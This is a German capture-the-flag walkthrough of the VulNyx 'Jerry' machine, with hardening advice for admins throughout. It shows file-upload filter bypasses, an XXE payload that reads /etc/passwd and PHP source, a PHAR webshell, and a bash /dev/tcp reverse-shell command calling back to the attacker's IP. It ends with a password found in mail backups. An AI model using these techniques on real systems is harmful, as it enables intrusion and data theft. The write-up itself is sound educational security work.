Jerry - VulNyx - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
dirb
nmap
grep
egrep
nikto
whatweb
Burp Suite
wfuzz
curl
nc
stty
id
ls
cat
find
python3 (http.server)
wget
unzip
ssh
nano
node
sudo

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:30:2e:da, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
[...] <-- Andere Hosts
192.168.2.122	08:00:27:5a:5e:31	PCS Systemtechnik GmbH
[...]
7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.104 seconds (121.67 hosts/sec). 7 responded

Analyse: Der ARP-Scan identifiziert die Ziel-IP `192.168.2.122` mit der MAC-Adresse `08:00:27:5a:5e:31` (VirtualBox).

Bewertung: Zielsystem im lokalen Netzwerk gefunden.

Empfehlung (Pentester): Ziel-IP notieren, Hostnamen in `/etc/hosts` eintragen.
Empfehlung (Admin): Netzwerksegmentierung kann die Erkennung erschweren.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
┌──(root㉿CCat)-[~] └─# grep jerry /etc/hosts
<-- Korrigierter grep
127.0.0.1	localhost
192.168.2.122   jerry.vlx

Analyse: Der Hostname `jerry.vlx` wird der Ziel-IP `192.168.2.122` in der lokalen `/etc/hosts`-Datei zugeordnet.

Bewertung: Ermöglicht die Verwendung des Hostnamens.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -T5 -p- 192.168.2.122 | grep open
22/tcp open  ssh     OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
25/tcp open  smtp    Postfix smtpd
80/tcp open  http    Apache httpd 2.4.57 ((Debian))

Analyse: Ein schneller Nmap TCP SYN Scan (`-sS`), gefiltert nach offenen Ports, findet Port 22 (SSH, OpenSSH 9.2p1), 25 (SMTP, Postfix) und 80 (HTTP, Apache 2.4.57).

Bewertung: Identifiziert die primären Dienste. Die Versionen sind relativ aktuell für Debian 12. Der offene SMTP-Port könnte für Benutzerenumeration (VRFY, EXPN) oder andere Angriffe interessant sein.

Empfehlung (Pentester): Führen Sie den vollständigen Scan durch. Untersuchen Sie Port 25 auf mögliche Benutzerenumeration und Konfigurationsfehler. Untersuchen Sie Port 80.
Empfehlung (Admin): Härten Sie den Postfix-Server (z.B. VRFY/EXPN deaktivieren), halten Sie Dienste aktuell.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -T5 -p- 192.168.2.122
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 23:17 CEST
Nmap scan report for jerry.vlx (192.168.2.122)
Host is up (0.00018s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=jerry/organizationName=vulnyx.com/stateOrProvinceName=Spain/countryName=EU
| Not valid before: 2024-03-08T19:46:55
|_Not valid after:  2025-03-08T19:46:55
|_smtp-commands: vulnyx.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING <-- VRFY erlaubt!
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: jerry.nyx
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 08:00:27:5A:5E:31 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host:  vulnyx.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.18 ms jerry.vlx (192.168.2.122)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds

Analyse: Die vollständige Nmap-Ausgabe bestätigt die offenen Ports 22 (SSH), 25 (SMTP, Postfix) und 80 (HTTP, Apache). Wichtige Details: * SSH: OpenSSH 9.2p1 auf Debian. * SMTP: Postfix auf Host `vulnyx.com` (interessanter Hostname). Das `VRFY`-Kommando ist erlaubt, was zur Benutzerenumeration missbraucht werden kann. Das SSL-Zertifikat nennt `jerry` als Common Name und `vulnyx.com` als Organisation. * HTTP: Apache 2.4.57 auf Debian. Der Titel der Seite ist `jerry.nyx`.

Bewertung: Die Dienste scheinen relativ aktuell zu sein. Der interessanteste Punkt ist der offene SMTP-Port mit erlaubtem `VRFY`-Kommando, was Benutzerenumeration ermöglicht. Der Hostname `vulnyx.com` und der CN `jerry` im Zertifikat könnten ebenfalls nützlich sein.

Empfehlung (Pentester): Versuchen Sie Benutzerenumeration über SMTP (VRFY). Untersuchen Sie den Webserver auf Port 80 gründlich (Verzeichnis-/Datei-Enumeration, Analyse der Webanwendung). Fügen Sie ggf. `vulnyx.com` zur `/etc/hosts`-Datei hinzu.
Empfehlung (Admin): Deaktivieren Sie das VRFY-Kommando in der Postfix-Konfiguration (`disable_vrfy_command = yes`), um Benutzerenumeration zu verhindern. Sichern Sie Webanwendungen und halten Sie Dienste aktuell.

Web Enumeration & Upload Functionality

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.122
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        80
+ Start Time:         2024-08-25 22:40:43 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 47f5, size: 6133af9c05bc6, mtime: gzip. [...]
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . <-- Korrigierte Reihenfolge
+ /license.txt: License file found may identify site software.
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2024-08-25 22:40:55 (GMT2) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Nikto findet zusätzlich zu den üblichen geringfügigen Problemen die Datei `license.txt`.

Bewertung: `license.txt` kann manchmal Hinweise auf die verwendete Software geben, ist aber oft nicht sicherheitsrelevant.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://jerry.vlx" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://jerry.vlx
[...]
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 18421]
/images               (Status: 301) [Size: 307] [--> http://jerry.vlx/images/]
/css                  (Status: 301) [Size: 304] [--> http://jerry.vlx/css/]
/license.txt          (Status: 200) [Size: 35824]
/js                   (Status: 301) [Size: 303] [--> http://jerry.vlx/js/]
/javascript           (Status: 301) [Size: 311] [--> http://jerry.vlx/javascript/]
/about-us.html        (Status: 200) [Size: 7628]
/request              (Status: 301) [Size: 308] [--> http://jerry.vlx/request/] <-- Interessant!
/fonts                (Status: 301) [Size: 306] [--> http://jerry.vlx/fonts/]
===============================================================
Finished

Analyse: Gobuster findet neben Standard-Asset-Verzeichnissen (`/images`, `/css`, `/js`, `/fonts`) und HTML-Seiten (`index.html`, `about-us.html`) auch die `license.txt` und ein potenziell interessantes Verzeichnis namens `/request`.

Bewertung: Das `/request`-Verzeichnis ist der vielversprechendste Fund und sollte genauer untersucht werden.

Empfehlung (Pentester): Untersuchen Sie den Inhalt von `/request` (z.B. `http://jerry.vlx/request/`). Suchen Sie nach Skripten oder Formularen in diesem Verzeichnis.
Empfehlung (Admin): Stellen Sie sicher, dass nur benötigte Verzeichnisse und Dateien über den Webserver zugänglich sind.

Analyse: Der Angreifer untersucht die Webseite manuell oder mit weiteren Tools. Es werden Links zu `job-listing.html` (mit E-Mail-Parameter) und PHP-Skripte im `/request`-Verzeichnis (`submit.php`, `request.php` - möglicher Tippfehler im Log, wahrscheinlich dasselbe) identifiziert. Die Datei `/request/script.js` wird analysiert.

Bewertung: Die Analyse von `script.js` ist entscheidend. Das Skript implementiert eine clientseitige Prüfung für einen Dateiupload (`UploadCheck`-Funktion). Es erlaubt nur Dateien mit den Endungen `jpg`, `jpeg` oder `png`. Die eigentliche Upload-Logik sendet die Datei per AJAX an `/request/upload.php`.

Empfehlung (Pentester): Die clientseitige Validierung kann leicht umgangen werden (z.B. mit Burp Suite). Testen Sie den Upload über `/request/upload.php`, indem Sie die Dateiendung im Request manipulieren oder versuchen, andere Endungen (z.B. `.php`, `.phtml`, `.phar`) oder Techniken (Null-Byte, Doppelendung) zu verwenden, um eine Webshell hochzuladen.
Empfehlung (Admin): Implementieren Sie immer auch eine serverseitige Validierung für Dateiuploads (Dateityp anhand von Magic Bytes, Dateiendung auf einer Whitelist, Größenbeschränkung). Speichern Sie hochgeladene Dateien außerhalb des Web-Roots oder mit nicht ausführbaren Berechtigungen.

http://192.168.2.122/job-listing.html?email=bentec%40ben.de&submit=Send+me#
http://192.168.2.122/request/submit.php
http://192.168.2.122/request/request.php <-- Pfad typo?

view-source:http://192.168.2.122/request/script.js

function UploadCheck(File) {
  var file = File.files[0];
  var filename = file.name;
  var extension = filename.split('.').pop();

  if (extension != 'jpg' && extension != 'jpeg' && extension != 'png') {
    $('#upload_message').text("Only images are allowed");
    File.form.reset();
  } else {
    $("#inputGroupFile01").text(filename);
  }
}

$(document).ready(function () {
  $("#upload").click(function (event) {
    event.preventDefault();
    var fd = new FormData();
    var files = $('#uploadFile')[0].files[0];
    fd.append('uploadFile', files);

    if (!files) {
      $('#upload_message').text("Please select a file");
    } else {
      $.ajax({
        url: '/request/upload.php',
        type: 'post',
        data: fd,
        contentType: false,
        processData: false,
        success: function (response) {
          if (response.trim() != '') {
            $("#upload_message").html(response);
          } else {
            window.location.reload();
          }
        },
      });
    }
  });
});
┌──(root㉿CCat)-[~] └─# whatweb 192.168.2.122
http://192.168.2.122 [200 OK] Apache[2.4.57], Bootstrap, Country[RESERVED][ZZ], Email[contact@company.com], HTML5, HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[192.168.2.122], JQuery, Script, Title[jerry.nyx], X-UA-Compatible[IE=Edge]

Analyse: `whatweb` identifiziert Technologien auf Port 80: Apache, Bootstrap, jQuery.

Bewertung: Bestätigt bekannte Technologien, liefert keine neuen kritischen Informationen.

Vulnerability Analysis (File Upload & XXE)

Analyse: Burp Suite wird verwendet, um den Upload-Vorgang an `/request/upload.php` zu analysieren und zu manipulieren.

Bewertung: Wichtiger Schritt zur Identifizierung und Ausnutzung von Upload-Schwachstellen.

  BurpSuite Analyse :

Request 1 (Versuch .php.jpg):
POST /request/upload.php HTTP/1.1
[...]
Content-Type: multipart/form-data; boundary=---------------------------...
[...]
-----------------------------...
Content-Disposition: form-data; name="uploadFile"; filename="shell.php .jpg" <-- Versuch Doppelendung
Content-Type: image/jpeg

 <-- $GET konvertiert
-----------------------------...--

Response 1:
HTTP/1.1 200 OK
[...]
Content-Type: text/html; charset=UTF-8

Extension not allowed

Analyse: Ein erster Versuch, die clientseitige Prüfung durch eine Doppelendung (`shell.php .jpg`) zu umgehen, schlägt fehl. Die serverseitige Prüfung erkennt dies und blockiert den Upload ("Extension not allowed").

Bewertung: Zeigt, dass eine einfache Doppelendung nicht ausreicht und eine serverseitige Prüfung stattfindet.

Request 2 (Magic Bytes + .jpg):
POST /request/upload.php HTTP/1.1
[...]
-----------------------------...
Content-Disposition: form-data; name="uploadFile"; filename="shell.jpg"
Content-Type: image/jpeg

GIF89a; <-- Magic Bytes für GIF
 <-- $GET konvertiert
-----------------------------...--

Response 2:
HTTP/1.1 200 OK
[...]
Content-Type: text/html; charset=UTF-8

File uploaded succesfully <-- Base64 ist generisch, nicht der Payload

Analyse: Ein zweiter Versuch verwendet eine gültige Bildendung (`.jpg`) und fügt Magic Bytes (`GIF89a;`) am Anfang des Dateiinhalts hinzu, gefolgt vom PHP-Code. Dieser Upload ist erfolgreich!

Bewertung: Dies deutet darauf hin, dass die serverseitige Prüfung wahrscheinlich nur die Dateiendung prüft und nicht den Inhalt (z.B. über `mime_content_type` oder Magic Byte Analyse). Der PHP-Code wird also in einer Datei mit `.jpg`-Endung auf den Server geladen.

Empfehlung (Pentester): Versuchen Sie, die hochgeladene `.jpg`-Datei zur Ausführung zu bringen. Dies ist oft nicht direkt möglich. Suchen Sie nach Schwachstellen, die das Einbinden oder Ausführen von Dateien mit Nicht-PHP-Endungen erlauben (z.B. LFI, Fehlkonfigurationen). Da dies unwahrscheinlich ist, testen Sie andere Upload-Bypass-Techniken.

Burp Intruder (Endungs-Fuzzing):
Payloads: [phtml, php, php3, php4, php5, inc, pHtml, pHp, pHp3, pHp4, pHp5, iNc, ...]
Request Template:
POST /request/upload.php HTTP/1.1
[...]
-----------------------------...
Content-Disposition: form-data; name="uploadFile"; filename="shell.§FUZZ§" <-- Endung wird gefuzzt
Content-Type: image/jpeg

GIF89a;
 <-- $GET konvertiert
-----------------------------...--

Results (Auszug):
Payload | Status | Length | Comment
------- | ------ | ------ | --------
php     | 200    | 251    | Extension not allowed
php3    | 200    | 250    | Extension not allowed
[...]
inc     | 200    | 425    | File uploaded succesfully
pHtml   | 200    | 424    | File uploaded succesfully
pHp     | 200    | 425    | File uploaded succesfully
[...] <-- Viele Variationen mit Groß/Kleinschreibung, %00, etc. werden akzeptiert
php%00  | 200    | 251    | Extension not allowed <-- Null-Byte funktioniert nicht
[...]

Analyse: Burp Intruder wird verwendet, um verschiedene Dateiendungen zu testen. Es stellt sich heraus, dass Endungen wie `.inc` und Variationen mit Groß-/Kleinschreibung wie `.pHtml`, `.pHp` vom serverseitigen Skript akzeptiert werden, während Standard-PHP-Endungen blockiert werden. Null-Byte-Injection (`%00`) scheint nicht zu funktionieren.

Bewertung: Die Blacklist für Dateiendungen ist unvollständig oder fehlerhaft implementiert (z.B. Case-Sensitive-Prüfung). Endungen wie `.inc` oder `.phtml` werden oft von Apache als PHP interpretiert, wenn entsprechend konfiguriert.

Empfehlung (Pentester): Laden Sie die Webshell mit einer akzeptierten Endung wie `.phtml` oder `.inc` hoch und versuchen Sie, sie über den Webserver aufzurufen. Testen Sie auch `.phar`.
Empfehlung (Admin): Verwenden Sie eine Whitelist für erlaubte Dateiendungen statt einer Blacklist. Stellen Sie sicher, dass die Prüfung Case-Insensitive ist. Konfigurieren Sie den Webserver so, dass nur beabsichtigte Endungen als Skripte ausgeführt werden.

SVG Upload Versuch (XXE):

Request 1 (SVG mit PHP):
POST /request/upload.php HTTP/1.1
[...]
-----------------------------...
Content-Disposition: form-data; name="uploadFile"; filename="shell.svg"
Content-Type: image/svg+xml


  
    
       <-- $GET konvertiert
    
  

-----------------------------...--

Response 1:
HTTP/1.1 200 OK
[...]
File uploaded succesfullycm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzO[...]'

Decoded Base64 Part:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
kramer:x:1002:1002::/home/kramer:/bin/bash
jerry:x:1003:1003::/home/jerry:/bin/bash
elaine:x:1004:1004::/home/elaine:/bin/bash
[...]

Analyse: Es werden Versuche unternommen, eine SVG-Datei hochzuladen. 1. Eine SVG mit eingebettetem PHP-Code: Der Upload ist erfolgreich, aber der Code wird wahrscheinlich nicht ausgeführt. 2. Eine SVG mit einer XML External Entity (XXE) Payload, die `/etc/passwd` einbindet: Der Upload ist erfolgreich. In der Antwort wird der Inhalt von `/etc/passwd` Base64-kodiert innerhalb des `src`-Attributs des ``-Tags zurückgegeben.

Bewertung: Kritische XXE-Schwachstelle im SVG-Upload! Der Server parst die hochgeladene SVG-Datei unsicher und löst externe Entitäten auf. Dies ermöglicht das Auslesen beliebiger lokaler Dateien, auf die der Webserver-Benutzer Zugriff hat.

Empfehlung (Pentester): Nutzen Sie die XXE-Schwachstelle, um wichtige Dateien zu lesen (z.B. `/etc/shadow`, Konfigurationsdateien, SSH-Schlüssel, Quellcode der Anwendung). Verwenden Sie `php://filter` im XXE-Payload, um PHP-Quellcode Base64-kodiert auszulesen.
Empfehlung (Admin): Deaktivieren Sie die Verarbeitung externer Entitäten in der XML-Parser-Bibliothek, die für SVG verwendet wird. Validieren und sanitisieren Sie hochgeladene SVG-Dateien serverseitig.

Request 3 (XXE mit php://filter für upload.php):
POST /request/upload.php HTTP/1.1
[...]
-----------------------------...
Content-Disposition: form-data; name="uploadFile"; filename="xxe_source.svg"
Content-Type: image/svg+xml


php://filter/convert.base64-encode/resource=upload.php" > ]>
&xxe;
-----------------------------...--

Response 3 (Auszug):
[...] src='data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIGZvbyBbIDwhRU5USVRZIHh4ZSBTWVNURU0gInBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9dXBsb2FkLnBocCIgPiBdPgo8c3ZnPg==PD9waHAKcmVxdWlyZV9vbmNlKCcuL2ltYWdlcy1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi9qb2JfcmVxdWVzdF9maWxlcy8iOwoKLy8gcmVuYW1lIGJlZm9yZSBzdG9yaW5nCiRmaWxlTmFtZSA9IGRhdGUoJ3ktbS1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvXC5cLnBoKHB8cHN8dG1sfHRtfHQpLyc[...]'> <-- Base64 Quellcode

Decoded Base64 (upload.php):
$FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;

//  blacklist test
if (preg_match('/\.ph(p|ps|tml|tm|t)/', $fileName)) { <-- Blacklist!
    echo "Extension not allowed";
    die();
}else{
	echo "File uploaded succesfully";
}

// size test
if ($FILES["uploadFile"]["size"] > 500000) {
    echo "File too large";
    die();
}

if (move_uploaded_file($FILES["uploadFile"]["tmp_name"], $target_file)) {
	displayHTMLImage($target_file); <-- Funktion aus anderer Datei
} else {
    echo "File failed to upload";
}
?>

Decoded Base64 (images-functions.php):
<-- Code für verschiedene Bildtypen
    }
}

?>

Analyse: Die XXE-Schwachstelle wird genutzt, um den Quellcode von `upload.php` und `images-functions.php` mittels `php://filter` auszulesen. Der Code von `upload.php` bestätigt die Blacklist für PHP-Endungen (`.php`, `.phps`, `.phtml`, `.pht`) und das Umbenennen der Datei mit Datumspräfix. Er ruft `displayHTMLImage()` aus der anderen Datei auf.

Bewertung: Die Blacklist ist unvollständig (fehlt z.B. `.phar`). Die Funktion `displayHTMLImage` könnte interessant sein, wenn sie Schwachstellen enthält (z.B. beim Parsen von Bilddaten), aber der einfachere Weg ist der Upload einer Datei mit erlaubter Endung, die dennoch ausgeführt wird.

Empfehlung (Pentester): Nutzen Sie die unvollständige Blacklist. Laden Sie eine Webshell mit der Endung `.phar` hoch. PHAR-Archive können unter bestimmten Umständen von PHP ausgeführt werden, auch wenn sie nicht die `.php`-Endung haben, insbesondere wenn Funktionen wie `include`, `require` oder Dateisystemfunktionen auf sie angewendet werden, die Metadaten parsen (z.B. `file_exists`, `stat` - möglicherweise getriggert durch `displayHTMLImage` oder andere Skripte?).
Empfehlung (Admin): XXE beheben. Upload-Filterung verbessern (Whitelist, Magic Byte Check). Unsichere Funktionen vermeiden.

RCE via PHAR Upload

Request (PHAR Upload):
POST /request/upload.php HTTP/1.1
[...]
-----------------------------...
Content-Disposition: form-data; name="uploadFile"; filename="shell.phar"
Content-Type: image/jpeg" <-- Content-Type wird gefälscht

GIF89a;
 <-- $GET konvertiert
-----------------------------...--

Response:
HTTP/1.1 200 OK
[...]
File uploaded succesfully <-- Upload erfolgreich

Analyse: Eine Datei mit PHP-Code und GIF-Magic-Bytes wird mit der Endung `.phar` hochgeladen. Der Content-Type wird als `image/jpeg` angegeben. Der Upload ist erfolgreich, da `.phar` nicht auf der Blacklist steht.

Bewertung: Erfolgreicher Upload der potenziellen Webshell.

Empfehlung (Pentester): Finden Sie den Pfad zur hochgeladenen Datei (im Code stand `/request/job_request_files/`, der Dateiname enthält das Datum, z.B. `24-08-25_shell.phar`) und versuchen Sie, sie über den Webbrowser aufzurufen, um die RCE zu triggern.
Empfehlung (Admin): Upload-Filterung verbessern.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://192.168.2.122/request/job_request_files/" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://192.168.2.122/request/job_request_files/
[...]
===============================================================
Starting gobuster
===============================================================
/index.php            (Status: 200) [Size: 0] <-- Leere Index-Datei
===============================================================
Finished

Analyse: Gobuster im Upload-Verzeichnis findet nur eine leere `index.php`. Das Verzeichnislisting ist wahrscheinlich deaktiviert.

Bewertung: Erschwert das Finden des genauen Dateinamens, aber da das Format (`JJ-MM-TT_Dateiname`) bekannt ist, kann der Name erraten oder konstruiert werden.

Payload: 192.168.2.122/request/job_request_files/24-08-25_shell.phar?cmd=id
GIF89a; uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Der direkte Aufruf der `.phar`-Datei mit dem `cmd=id`-Parameter im Browser oder mit `curl` ist erfolgreich. Der Server führt den PHP-Code innerhalb der PHAR-Datei aus und gibt die Magic Bytes (`GIF89a;`) gefolgt von der Ausgabe des `id`-Befehls zurück.

Bewertung: RCE über PHAR-Upload bestätigt! Der Apache-Server ist so konfiguriert, dass er `.phar`-Dateien als PHP ausführt, oder eine Funktion wie `include` oder `file_get_contents` wird irgendwo aufgerufen und löst die Deserialisierung/Ausführung aus.

Empfehlung (Pentester): Nutzen Sie diese RCE für eine Reverse Shell.
Empfehlung (Admin): Verhindern Sie die Ausführung von `.phar`-Dateien als PHP. Beheben Sie die Upload-Schwachstelle.

Initial Access (Shell)

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
Payload: 192.168.2.122/request/job_request_files/24-08-25_shell.phar?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 44944
bash: cannot set terminal process group (535): Inappropriate ioctl for device
bash: no job control in this shell
www-data@jerry:/var/www/jerry/request/job_request_files$
<-- Hostname ist 'jerry', nicht 'raw'

Analyse: Eine Reverse Shell Payload wird über die PHAR-RCE ausgeführt. Der Listener empfängt die Verbindung. Eine Shell als `www-data` wird erhalten.

Bewertung: Initial Access erfolgreich!

Empfehlung (Pentester): Shell stabilisieren, Enumeration als `www-data`.
Empfehlung (Admin): Upload-Schwachstelle und PHAR-Ausführung beheben.

Privilege Escalation (www-data -> elaine)

www-data@jerry:/var/www$ cd jerry/
<-- Wechsel ins Webroot von jerry
www-data@jerry:/var/www/jerry$ ls
about-us.html  fonts   index.html	       js	      request
css	       images  job-listing.html  license.txt  special-offer.html
www-data@jerry:/var/www/jerry$ ss -altpn
State   Recv-Q Send-Q  Local Address:Port   Peer Address:Port Process
LISTEN  0      100           0.0.0.0:25        0.0.0.0:*
LISTEN  0      128           0.0.0.0:22        0.0.0.0:*
LISTEN  0      100              [::]:25           [::]:*
LISTEN  0      128              [::]:22           [::]:*
LISTEN  0      511                 *:80               *:*

Analyse: Enumeration als `www-data`. Das Web-Root-Verzeichnis `/var/www/jerry` wird untersucht. `ss` zeigt die offenen Ports 21 (FTP - Fehler im Log, Nmap zeigte 25 SMTP), 22 (SSH) und 80 (HTTP).

Bewertung: Bestätigt die offenen Ports. Fokus liegt auf der weiteren lokalen Enumeration.

www-data@jerry:/var/www/jerry$ find / -type f -perm -4000 -ls 2>/dev/null
  1062406    640 -rwsr-xr-x   1 root     root       653888 Dec 19  2023 /usr/lib/openssh/ssh-keysign
  1062369     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1048014     36 -rwsr-xr-x   1 root     root          35128 Mar 23  2023 /usr/bin/umount
  1047858     48 -rwsr-xr-x   1 root     root          48896 Mar 23  2023 /usr/bin/newgrp
  1044597     68 -rwsr-xr-x   1 root     root          68248 Mar 23  2023 /usr/bin/passwd
  1048526     72 -rwsr-xr-x   1 root     root          72000 Mar 23  2023 /usr/bin/su
  1048012     60 -rwsr-xr-x   1 root     root          59704 Mar 23  2023 /usr/bin/mount
  1044593     64 -rwsr-xr-x   1 root     root          62672 Mar 23  2023 /usr/bin/chfn
  1072241    276 -rwsr-xr-x   1 root     root         281624 Jun 27  2023 /usr/bin/sudo
  1044596     88 -rwsr-xr-x   1 root     root          88496 Mar 23  2023 /usr/bin/gpasswd
  1061091     36 -rwsr-xr-x   1 root     root          35128 Apr 18  2023 /usr/bin/fusermount3
  1044594     52 -rwsr-xr-x   1 root     root          52880 Mar 23  2023 /usr/bin/chsh

Analyse: Suche nach SUID-Dateien.

Bewertung: Findet nur Standard-Binaries.

www-data@jerry:/home$ find -type f -name "user.txt"
find: ‘./elaine’: Permission denied
find: ‘./kramer’: Permission denied
find: ‘./jerry’: Permission denied

Analyse: Suche nach `user.txt` in `/home` scheitert aufgrund fehlender Berechtigungen.

www-data@jerry:/home$ cd /opt/
www-data@jerry:/opt$ ls
backups_mail  scripts
www-data@jerry:/opt$ cd backups_mail/
www-data@jerry:/opt/backups_mail$ ls -la
total 16
drwxr-xr-x 2 root root 4096 Mar  8 10:55 .
drwxr-xr-x 4 root root 4096 Mar  8 10:14 ..
-rw-r--r-- 1 root root 1329 Mar  8 10:55 backup_mail_1709916924131.zip
-rw-r--r-- 1 root root 1329 Mar  8 10:55 backup_mail_1709916925385.zip

Analyse: Im Verzeichnis `/opt/backups_mail` werden zwei ZIP-Dateien gefunden, die Mail-Backups zu enthalten scheinen.

Bewertung: Potenziell sehr wertvoller Fund, da Mails oft Zugangsdaten oder sensible Informationen enthalten.

Empfehlung (Pentester): Laden Sie die ZIP-Dateien auf Ihr System herunter (z.B. indem Sie einen temporären Python-HTTP-Server im Verzeichnis starten) und analysieren Sie den Inhalt.
Empfehlung (Admin): Speichern Sie Backups sicher und mit restriktiven Berechtigungen, nicht in `/opt`.

www-data@jerry:/opt/backups_mail$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.199 - - [25/Aug/2024 19:48:01] "GET / HTTP/1.1" 200 -
192.168.2.199 - - [25/Aug/2024 19:48:01] "GET /favicon.ico HTTP/1.1" 404 - <-- Irrelevant
                     

Analyse: Ein Python-HTTP-Server wird auf dem Zielsystem gestartet, um die ZIP-Dateien herunterzuladen.

┌──(root㉿CCat)-[/home/ccat/Downloads] └─# mkdir backs
┌──(root㉿CCat)-[/home/ccat/Downloads] └─# mv backup_mail_1709916924131.zip backs
┌──(root㉿CCat)-[/home/ccat/Downloads] └─# cd backs
┌──(root㉿CCat)-[/home/ccat/Downloads/backs] └─# unzip backup_mail_1709916924131.zip
Archive:  backup_mail_1709916924131.zip
   creating: var/mail/
  inflating: var/mail/elaine
  inflating: var/mail/jerry
┌──(root㉿CCat)-[/home/ccat/Downloads/backs/var/mail] └─# cat elaine
From elaine@jerry  Fri Mar  8 10:03:40 2024
[...]
Subject: Vacation weeks at Spain
To: 
From: jerry@jerry

Hi Elaine,

If I remember correctly you were going on vacation in Spain for a few weeks, right?
I just wanted to confirm that the password for the gym was 'imelainenotsusie',
I don't want to be there and not be able to pick up the glasses from the gym locker.

Best regards!

